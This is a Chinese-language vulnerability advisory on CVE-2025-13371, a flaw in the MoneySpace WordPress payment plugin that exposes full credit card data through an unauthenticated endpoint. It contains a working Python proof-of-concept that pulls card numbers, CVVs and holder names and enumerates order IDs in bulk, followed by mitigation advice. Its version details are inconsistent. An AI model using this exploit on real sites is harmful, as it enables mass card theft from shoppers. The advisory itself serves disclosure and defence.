IPBUF安全漏洞报告
English
CVE-2025-13371 CVSS 8.6 高危

CVE-2025-13371 WordPress MoneySpace插件敏感信息泄露漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2025-13371
漏洞类型
敏感信息泄露
CVSS评分
8.6 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
MoneySpace WordPress Plugin (Woocommerce支付插件)

相关标签

敏感信息泄露PCI-DSS违规MoneySpace插件WordPress插件漏洞信用卡数据泄露无需认证base64编码不安全mspaylink端点支付安全CVE-2025-13371

漏洞概述

CVE-2025-13371是WordPress MoneySpace插件的一个严重安全漏洞,CVSS评分高达8.6分。该漏洞影响插件所有版本直至2.13.9版本。由于插件在处理支付数据时存在设计缺陷,将完整的信用卡信息(包括卡号PAN、持卡人姓名、有效期、CVV验证码)使用不安全的base64编码方式存储在WordPress的post_meta中,并错误地将这些敏感数据嵌入到公开可访问的mspaylink页面的内联JavaScript代码中。更严重的是,mspaylink端点没有任何认证或授权机制,攻击者只需知道或猜测订单ID(order_id)即可无需任何身份验证直接访问该页面,从返回的HTML或JavaScript响应中提取完整的信用卡信息和CVV码。这构成了严重的PCI-DSS违规行为,攻击者可利用这些信息进行信用卡欺诈。由于该端点完全公开且缺乏保护措施,攻击者可以通过自动化脚本大规模枚举订单ID,批量获取用户信用卡数据。

技术细节

该漏洞的技术根因在于多个安全缺陷的组合。首先,MoneySpace插件在处理支付完成后的回调时,将用户提交的信用卡详细信息使用PHP的base64_encode()函数进行编码后存储到WordPress的post_meta表中。base64编码并非加密方法,仅是一种编码格式,任何人都可以轻松解码,因此敏感支付数据实际上是以明文形式存储。其次,更关键的安全问题出现在mspaylink.php文件中(第164行和第232行),插件将存储的信用卡数据直接通过内联JavaScript(inline JavaScript)的方式输出到支付确认页面。这意味着完整的信用卡号和CVV等敏感信息会以JavaScript变量的形式出现在页面源码中,任何能够访问该页面的用户都可以直接在浏览器开发者工具或页面源码中查看到这些敏感数据。最后,mspaylink端点缺少任何身份验证或会话验证机制,只要攻击者知道或猜测出有效的order_id参数值,就可以访问任意订单的支付详情页面。攻击者可以通过简单的HTTP请求配合order_id参数访问mspaylink端点,服务器会返回包含完整信用卡信息的HTML页面,攻击者即可从中提取敏感的支付数据用于非法目的。

攻击链分析

STEP 1
步骤1
攻击者通过自动化脚本或手动方式枚举/猜测有效的order_id值。order_id通常为数字序列,攻击者可以使用简单的数字循环进行暴力猜测。
STEP 2
步骤2
攻击者构造HTTP GET请求访问目标站点的mspaylink端点,URL格式为:/?mspaylink=1&order_id=<猜测的订单ID>。该端点完全公开,无需任何认证或会话cookie。
STEP 3
步骤3
服务器响应返回包含内联JavaScript的HTML页面,其中嵌入了base64编码的信用卡完整信息(卡号、持卡人姓名、有效期、CVV)。攻击者直接从响应中提取这些敏感数据。
STEP 4
步骤4
攻击者使用base64解码获取明文信用卡信息。由于base64编码非加密,任何人都可轻松解码。获取的信用卡数据可用于非法交易或出售。
STEP 5
步骤5
攻击者通过自动化脚本大规模扫描,批量获取数千甚至数万用户的信用卡数据,造成大规模的敏感信息泄露事件。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re import base64 # CVE-2025-13371 PoC - MoneySpace Plugin Sensitive Information Disclosure # Target: WordPress site with MoneySpace plugin (<= 2.13.9) # Vulnerability: Unauthenticated access to mspaylink endpoint exposes full credit card details def exploit_moneyspace_cve_2025_13371(target_url, order_id): """ Exploit for CVE-2025-13371 This PoC demonstrates how an unauthenticated attacker can retrieve full credit card details by accessing the mspaylink endpoint with a known order_id. WARNING: This code is for educational and authorized security testing only. """ # Construct the mspaylink URL with the target order_id mspaylink_url = f"{target_url.rstrip('/')}/?mspaylink=1&order_id={order_id}" print(f"[*] Targeting: {mspaylink_url}") print(f"[*] Attempting to retrieve payment card details for order_id: {order_id}") try: # Send HTTP GET request without any authentication response = requests.get(mspaylink_url, timeout=10) if response.status_code == 200: # Extract inline JavaScript containing sensitive card data # The plugin embeds card details in JavaScript variables # Extract patterns commonly used by the plugin patterns = { 'card_number': r'(?:pan|card_number|cardnum)[\'"]\s*:\s*[\'"]([0-9]+)[\'"]', 'cvv': r'(?:cvv|cvc)[\'"]\s*:\s*[\'"]([0-9]{3,4})[\'"]', 'expiry': r'(?:expiry|exp_date|valid_thru)[\'"]\s*:\s*[\'"]([0-9/\-]+)[\'"]', 'card_holder': r'(?:name|holder|card_holder|holder_name)[\'"]\s*:\s*[\'"]([^\'"]+)[\'"]' } print("\n[+] Successfully accessed mspaylink endpoint!") print("\n[+] Extracted sensitive information:") for data_type, pattern in patterns.items(): matches = re.findall(pattern, response.text, re.IGNORECASE) if matches: for match in matches: # Decode base64 encoded data if present try: decoded = base64.b64decode(match).decode('utf-8') print(f" {data_type}: {decoded} (base64 decoded)") except: print(f" {data_type}: {match}") # Also search for base64 encoded data directly b64_pattern = r'"([A-Za-z0-9+/=]{20,})"' b64_matches = re.findall(b64_pattern, response.text) print("\n[+] Potential base64 encoded data found:") for b64_data in b64_matches[:5]: # Limit to first 5 try: decoded = base64.b64decode(b64_data).decode('utf-8', errors='ignore') if decoded.isprintable() and len(decoded) > 4: print(f" {b64_data[:30]}... -> {decoded}") except: pass else: print(f"[-] Failed to access endpoint. Status code: {response.status_code}") except requests.RequestException as e: print(f"[-] Request failed: {e}") def scan_for_vulnerable_order_ids(target_url, id_range=(1000, 2000)): """ Scan for vulnerable order IDs using a range In real attack scenarios, attackers might use enumeration or guess order IDs """ print(f"[*] Scanning for vulnerable order IDs in range {id_range[0]}-{id_range[1]}") vulnerable_orders = [] for order_id in range(id_range[0], id_range[1] + 1): mspaylink_url = f"{target_url.rstrip('/')}/?mspaylink=1&order_id={order_id}" try: response = requests.get(mspaylink_url, timeout=5) if response.status_code == 200 and 'card' in response.text.lower(): print(f"[+] Potential vulnerable order found: {order_id}") vulnerable_orders.append(order_id) except: pass return vulnerable_orders # Example usage if __name__ == "__main__": target = "https://example-wordpress-site.com" order_id = 12345 # Replace with actual order ID # Single target exploitation exploit_moneyspace_cve_2025_13371(target, order_id) # Or scan for vulnerable orders # vulnerable = scan_for_vulnerable_order_ids(target, (1000, 5000))

影响范围

MoneySpace WordPress Plugin < 2.13.9 (所有版本)

防御指南

临时缓解措施
在等待官方修复期间,应立即采取以下临时缓解措施:首先,将MoneySpace插件更新到最新版本(2.13.9及以上);其次,暂时禁用或限制mspaylink端点的公开访问,可以通过Web应用防火墙(WAF)规则阻止外部对该端点的访问;第三,立即检查WordPress数据库中post_meta表,清理所有已存储的base64编码信用卡数据;第四,启用WordPress的访问日志监控,密切关注对mspaylink端点的异常访问请求;第五,考虑临时切换到其他已通过PCI-DSS认证的支付插件;最后,建议受影响站点进行安全审计,检查是否已有攻击者利用此漏洞窃取数据的痕迹,并按照PCI-DSS违规响应流程通知相关用户和信用卡机构。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表